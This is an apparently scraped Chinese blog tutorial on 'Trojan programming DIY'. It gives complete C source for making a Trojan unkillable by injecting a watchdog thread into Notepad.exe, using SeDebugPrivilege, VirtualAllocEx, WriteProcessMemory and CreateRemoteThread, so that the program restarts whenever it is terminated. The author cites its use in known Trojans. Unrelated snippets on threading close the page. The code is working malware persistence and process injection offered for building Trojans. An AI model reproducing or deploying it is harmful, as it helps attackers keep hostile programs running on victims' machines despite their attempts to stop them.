1. 程式人生 > >木馬程式設計DIY之執行緒守護

木馬程式設計DIY之執行緒守護

要防止自己的程式被關閉,通常有兩種方法1.像IcesWord一樣HOOK系統底層的函式2.使用執行緒保護。這裡我們主要學習執行緒保護的方法
執行緒保護的思路就是讓其它程式監視自己,如果自身程式退出了,那麼監視程式就重新啟動,這個過程我簡單畫了一個圖如圖1所示



跟據圖示1我們來分析一下執行緒守護的思路,並程式設計實現一個簡單的執行緒守護程式,本程式完成的功能是把監視程式碼插入到Notepad.exe程序
以監視程式本身,如果自身被關閉,Notepad.exe程序將重新啟動自身程式,以達到不死的效應,以下程式碼在VC6中編譯通過


現在我們重新整理一下思路,首先我們找一個其它程序做為我們的保護神並把自己程序的控制代碼傳保護神,保護神通過用WaitForSingleObject
函式來檢測控制代碼來判斷要保護的程序是否結束,如果結束就重新啟動我們的程式.跟據上面的思路我們來分析細節的實現



1.檢測並保護程式的遠端執行緒程式碼


因為保護自己的程式碼要注入到Notepad.exe程序,而執行在遠端執行緒程式碼的API都需要重新定位,為解決這個問題我們定義如下的結構
typedef struct _remoteparameter
{
    DWORD        rpWaitForSingleObject;
    DWORD        rpOpenProcess;
    DWORD       rpWinExec;
    DWORD        rpProcessPID;          
    HANDLE        rpProcessHandle;
    char        path[MAX_PATH];
}REMOTEPARAM;


這個結構中包的前三項為遠端執行緒中需要使用的API函式, rpProcessPID為要保護的程序PID,rpProcessHandle用來儲存要保護程序的控制代碼
path為當程式被關閉時需要啟動的程式路徑。遠端執行緒函式如下

DWORD WINAPI remote(LPVOID pvparam)
{
    REMOTEPARAM *rp=(REMOTEPARAM*)pvparam;  //傳遞進來的資訊

    typedef UINT            (WINAPI *EWinExec)                (LPCSTR, UINT);
    typedef HANDLE            (WINAPI *EOpenProcess)            (DWORD, BOOL, DWORD);
    typedef DWORD            (WINAPI *EWaitForSingleObject)    (HANDLE, DWORD);


    EWinExec                tWinExec;
    EOpenProcess            tOpenProcess;
    EWaitForSingleObject    tWaitForSingleObject;


    tOpenProcess            =(EOpenProcess)rp->rpOpenProcess;
    tWaitForSingleObject    =(EWaitForSingleObject)rp->rpWaitForSingleObject;
    tWinExec                =(EWinExec)rp->rpWinExec;


    rp->rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,rp->rpProcessPID);//開啟要保護的程序

    tWaitForSingleObject(rp->rpProcessHandle,INFINITE);//要保護的程序是否結束
   
    tWinExec(rp->path, SW_SHOW);//如果結束就重新啟動程式
    return 0;
}


2.將remote函式程式碼注入Notepad.exe程序並啟動



這裡為了方便我定義成了一個函式,使用時只要提供要注入的程序名稱就可以完成執行緒守護的功能,它的返回值是遠端執行緒的控制代碼

其實現如下:


HANDLE CreateRemoteThreadProc(char* ProcessName)
{
        HANDLE    ThreadHandle;
        char    FilePath[MAX_PATH];

        GetModuleFileName(NULL,FilePath,MAX_PATH);//得到檔案所在路徑

        int procID=processtopid(ProcessName);
        printf("The process pid is %d/n",procID);


        HINSTANCE         hkernel32;
        HANDLE            rphandle;
        char             *remotethr;
        char             *remotepar;
        int               cb;

           rphandle=OpenProcess(PROCESS_CREATE_THREAD |    
                                   PROCESS_VM_OPERATION  |    
                                    PROCESS_VM_WRITE,          
                                 FALSE,procID);
        if(rphandle==NULL)
        {
               printf("Open Remote Process  is Error/n");
        }
        else
        {
            printf("open process is ok/n");
        }

        /*****************************************************************/
                        /*將遠端執行緒函式程式碼拷入目標程序*/
        /*****************************************************************/

        cb=sizeof(char)*4*1024;

        remotethr=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        if(remotethr==NULL)
        {
            printf("VirtualAllocEx for Thread Error/n");
            CloseHandle(rphandle);      
        }
        else
            printf("VirtualAllocEx is ok/n");


        if(WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL)==FALSE)
        {
            printf("WriteProcessMemory for Thread Error/n");
            CloseHandle(rphandle);
        }
        else
            printf("WriteProcessMemory is ok/n");

        /*****************************************************************/
                        /*將遠端執行緒函式引數拷入目標程序*/
                        /*這裡需要重定位遠端執行緒需要的API*/
        /*****************************************************************/

        REMOTEPARAM rp;
        memset((char*)&rp,0,sizeof(rp));

        hkernel32=GetModuleHandle("kernel32.dll");

        if(hkernel32==NULL)
        {
            printf("hKernel32 is Error/n");
        }

        rp.rpProcessPID            =GetCurrentProcessId();
        rp.rpOpenProcess        =(DWORD)GetProcAddress(hkernel32,"OpenProcess");
        rp.rpWinExec            =(DWORD)GetProcAddress(hkernel32,"WinExec");
        rp.rpWaitForSingleObject=(DWORD)GetProcAddress(hkernel32,"WaitForSingleObject");
        _tcscpy(rp.path,FilePath);   


        cb=sizeof(char)*sizeof(rp);
        remotepar=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
        if(remotepar==NULL)
        {
            printf("VirtualAllocEx for Parameter Error/n");
            CloseHandle(rphandle);
        }

        if(WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL)==FALSE)
        {
            printf("WriteProcessMemory for Parameter Error/n");
            CloseHandle(rphandle);
        }



        /*****************************************************************/
                        /*將遠端執行緒注入目標程序*/
        /*****************************************************************/

       
        ThreadHandle=CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
       
        if(ThreadHandle==NULL)
        {
            printf("CreateRemotThreadHandle Error/n");
            CloseHandle(rphandle);
        }
        else
            printf("CreateRemotThreadHandle is ok/n");

        return ThreadHandle;
}




3.其它自定義函式實現


其實CreateRemoteThreadProc函式就是最關鍵的實現了,最後介紹一個這個函式中的兩個自己定義函式

DWORD processtopid(char *processname)//跟據程序名稱取PID值
{
    DWORD    lpidprocesses[1024],cbneeded,cprocesses;
    HANDLE   hprocess;
    HMODULE  hmodule;
    UINT     i;
    TCHAR    normalname[MAX_PATH]=("UnknownProcess");
   
    if(!EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded))
    {
        return -1; 
    }
    cprocesses=cbneeded/sizeof(DWORD);
    for(i=0;i<cprocesses;i++)
    {
        hprocess=OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
        if(hprocess)
        {
            if(EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded))
            {
                GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
                if(!strcmp(normalname,processname)) 
                {
                    CloseHandle(hprocess);
                    return (lpidprocesses[i]);
                }
            }
        }
    }
    CloseHandle(hprocess);
    return 0;
}

BOOL EnablePriv()//提升程序許可權
{
    HANDLE hToken;
    if ( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken) )
    {
        TOKEN_PRIVILEGES tkp;
       
        LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid );    //修改程序許可權
        tkp.PrivilegeCount=1;
        tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );    //通知系統修改程序許可權
    }
        return 0;
}



4.主函式的實現

功能都實現了主函式相對十分簡單其程式碼如下:

int main(int argc, char* argv[])
{
    HANDLE RemoteThreadHandle;

    EnablePriv();

    RemoteThreadHandle=CreateRemoteThreadProc("Notepad.exe");//注入程序

    WaitForSingleObject(RemoteThreadHandle,INFINITE);//等待結束

    return 0;
}


5.測試程式效果

測試開啟本文所屬的程式,測試會發現通過結束程序等方法無法關閉本程式,這是因為程式被關閉後Notepad.exe程式會重新啟動它
如果想關閉程式,只要先結束Notepad.exe就可以了



這樣執行緒守護就完成了,本程式很多地方參照了TOo2y大哥的三執行緒誘鼠器程式碼在此表示感謝,其實多執行緒最初在2002年無花果的"中國黑客"
病毒中使用,並廣為人知,到現在這個技術仍被大量使用著,像鴿子,凋零玫瑰的NCPH的服務端都有這樣的技術,如果你有不明白的地方
或者文章有錯誤歡迎你跟我交流我的QQ是 121121606

相關推薦

木馬程式設計DIY執行守護

要防止自己的程式被關閉,通常有兩種方法1.像IcesWord一樣HOOK系統底層的函式2.使用執行緒保護。這裡我們主要學習執行緒保護的方法執行緒保護的思路就是讓其它程式監視自己,如果自身程式退出了,那麼監視程式就重新啟動,這個過程我簡單畫了一個圖如圖1所示跟據圖示1我們來分析

執行程式設計指南執行管理(iOS,Mac os )

1.執行緒成本 多執行緒會佔用記憶體和效能資源。 多執行緒另外一個需要考慮的成本是成產成本。設計一個執行緒應用有時候會需要根本性的改變你應用的資料結構的組織方式。要做這些改變可能需要避免使用同步,因為本身設計不好的應用可能會造成巨大的

201711671208 《Java程式設計執行 第十一週學習計劃

使用Thread類的子類建立執行緒寫法,如: public class SpeakElephant extends Thread { public void run(){ ...} } SpeakElephant xxx; //宣告 xxx=new SpeakEl

Java併發程式設計執行生命週期、守護執行、優先順序和join、sleep、yield

Java併發程式設計中,其中一個難點是對執行緒生命週期的理解,和多種執行緒控制方法、執行緒溝通方法的靈活運用。這些方法和概念之間彼此聯絡緊密,共同構成了Java併發程式設計基石之一。 Java執行緒的生命週期 Java執行緒類定義了New、Runnable、Running Man、Blocked和Dead

Windows程式設計執行同步

Windows程式設計中執行緒同步的主要機制:互斥、事件、訊號量、可等待定時器,不說了,直接上程式碼: // ThreadSync.cpp : 定義控制檯應用程式的入口點。 // #include "stdafx.h" #include <windows.h>

Python併發程式設計執行池/程序池

Python併發程式設計之執行緒池/程序池 2017/01/18 · 基礎知識 · 2 評論 · 併發, 執行緒池, 程序池 原文出處: ZiWenXie    引言 Pyt

Java併發程式設計執行安全、執行通訊

Java多執行緒開發中最重要的一點就是執行緒安全的實現了。所謂Java執行緒安全,可以簡單理解為當多個執行緒訪問同一個共享資源時產生的資料不一致問題。為此,Java提供了一系列方法來解決執行緒安全問題。 synchronized synchronized用於同步多執行緒對共享資源的訪問,在實現中分為同步程

Windows核心程式設計執行

執行緒組成兩部分: 1. 一個執行緒的核心物件,作業系統用它管理執行緒。 2. 一個執行緒棧,用於維護執行緒執行時所需的所有函式引數和區域性變數。 何時建立執行緒?舉例: 作業系統的Windows Indexing Services,磁碟碎片整理程式等,都是使用多執行緒進行效能優化的

Java併發程式設計執行池(三)

一.介紹 Java通過Executors提供四種執行緒池,分別為: (1)newCachedThreadPool:建立一個可快取執行緒池,如果執行緒池長度超過處理需要,可靈活回收空閒執行緒,若無可回收,則新建執行緒。 (2)newFixedThreadPool: 建立一個定長執行緒池,可控制

java併發程式設計執行的基本概念

本文為學習筆記。源自學習微信公眾號“我們都是小青蛙”。 本篇文章將記錄如何使用java中的執行緒。 main執行緒 main方法是程式入口,我們對已經編譯好的class檔案呼叫java命令時就可以執行一個java程式。這個過程中,其實系統自動為我們建立了一個程序

Python中的多執行程式設計執行安全與鎖(一) 聊聊Python中的GIL 聊聊Python中的GIL python基礎執行鎖機制 python--threading多執行總結 Python3入門執行threading常用方法

1. 多執行緒程式設計與執行緒安全相關重要概念 在我的上篇博文 聊聊Python中的GIL 中,我們熟悉了幾個特別重要的概念:GIL,執行緒,程序, 執行緒安全,原子操作。 以下是簡單回顧,詳細介紹請直接看聊聊Python中的GIL  GIL:&n

《java併發程式設計實戰》 執行安全性

1.執行緒安全性 當多個執行緒訪問某個類時,不管執行時環境採用何種排程方式或者這些執行緒將如何交替執行,並且在主調程式碼中不需要任何額外的同步或協同,這個類都能表現出正確的行為,那麼這個類就是執行緒安全的。 無狀態物件一定是執行緒安全的,何為無狀態,就是類中不包含任何域,也不包含各種其

Python並行程式設計(五):執行同步訊號量

1、基本概念       訊號量是由作業系統管理的一種抽象資料型別,用於在多執行緒中同步對共享資源的使用。本質上說,訊號量是一個內部資料,用於標明當前的共享資源可以有多少併發讀取。       同樣在threading中,訊號量有acquire和release兩個函式。       - 每當執行緒想要讀取關聯

Python並行程式設計(七):執行同步事件

1、基本概念       事件是執行緒之間用於通訊的物件。有的執行緒等待訊號,有的執行緒發出訊號。基本上事件物件都會維護一個內部變數,可以通過set方法設定為true,也可以通過clear方法設定為false。wait方法將會阻塞執行緒,直到內部變數為true。 2、使用用例 # coding : utf

python網路程式設計執行

  一 .背景知識 1.程序    之前我們已經瞭解了作業系統中程序的概念,程式並不能單獨執行,只有將程式裝載到記憶體中,系統為它分配資源才能執行,而這種執行的程式就稱之為程序。程式和程序的區別就在於:程式是指令的集合,它是程序執行的靜態描述文字;程序是程式的一次執行活動,屬於動態概念。在多道

執行程式設計執行基礎

前言 此內容是閱讀了書籍《JAVA多執行緒程式設計核心技術》後作為學習總結的文章,同時也梳理一下內容。建議大家有興趣都可以閱讀一下這本書,對於想了解更多的同學來說是一個很好的教材,同時建議大家多去思考和動手編寫程式碼,融會貫通之後再去看一遍,會有更多的體會。就比如《JVM底層實現最佳實戰》的書籍一樣,我讀了

第37天併發程式設計執行

一. 執行緒初識 什麼是執行緒和程序 程序指的是一個程式執行的過程,是一個資源單位。它包含了作業系統開闢記憶體空間,將應用程式載入到記憶體中以及執行應用程式程式碼的整個過程。就像是一個車間內的一個小工廠一樣,整個的生產過程被稱之為一個程序。 執行緒是作業系統真正的執行單元。它僅僅代表的是程序中的最後一步,也

(十七)java併發程式設計--任務執行執行池的使用

大多數併發程式圍繞著”任務執行”來構造的: 任務通常是一些抽象的且離散的工作單元。通過把一個用程式的共工作分解到多個任務中,可以簡化程式的組織結構,提供一種自然的事務邊界來優化錯誤恢復過程,以及提供一種自然的工作結構來提升併發性。 1 線上程中執行任務

【搞定Java併發程式設計】第27篇:Java中的併發工具類執行間交換資料的 Exchanger

上一篇:Java中的併發工具類之控制併發執行緒數的 Semaphore Exchanger(交換者)是一個用於執行緒間協作的工具類。Exchanger用於進行執行緒間的資料交換。它提供一個同步點,在這個同步點,兩個執行緒可以交換彼此的資料。這兩個執行緒通過exchange方法交換資料,如果第一個

網路程式設計 執行

# 程序都預設擁有一條主執行緒,執行緒相當於流水線,程序相當於車間.#什麼是執行緒:程式的執行線路,相當於一條流水線,其包含了程式的具體執行步驟.# 程序中包含了執行該程式需要的所有資源,程序是資源單位,執行緒是cpu的最小執行單位# 程序包含執行緒而執行緒依賴於程序# 程序對系統的資源消耗非常的高# 多執行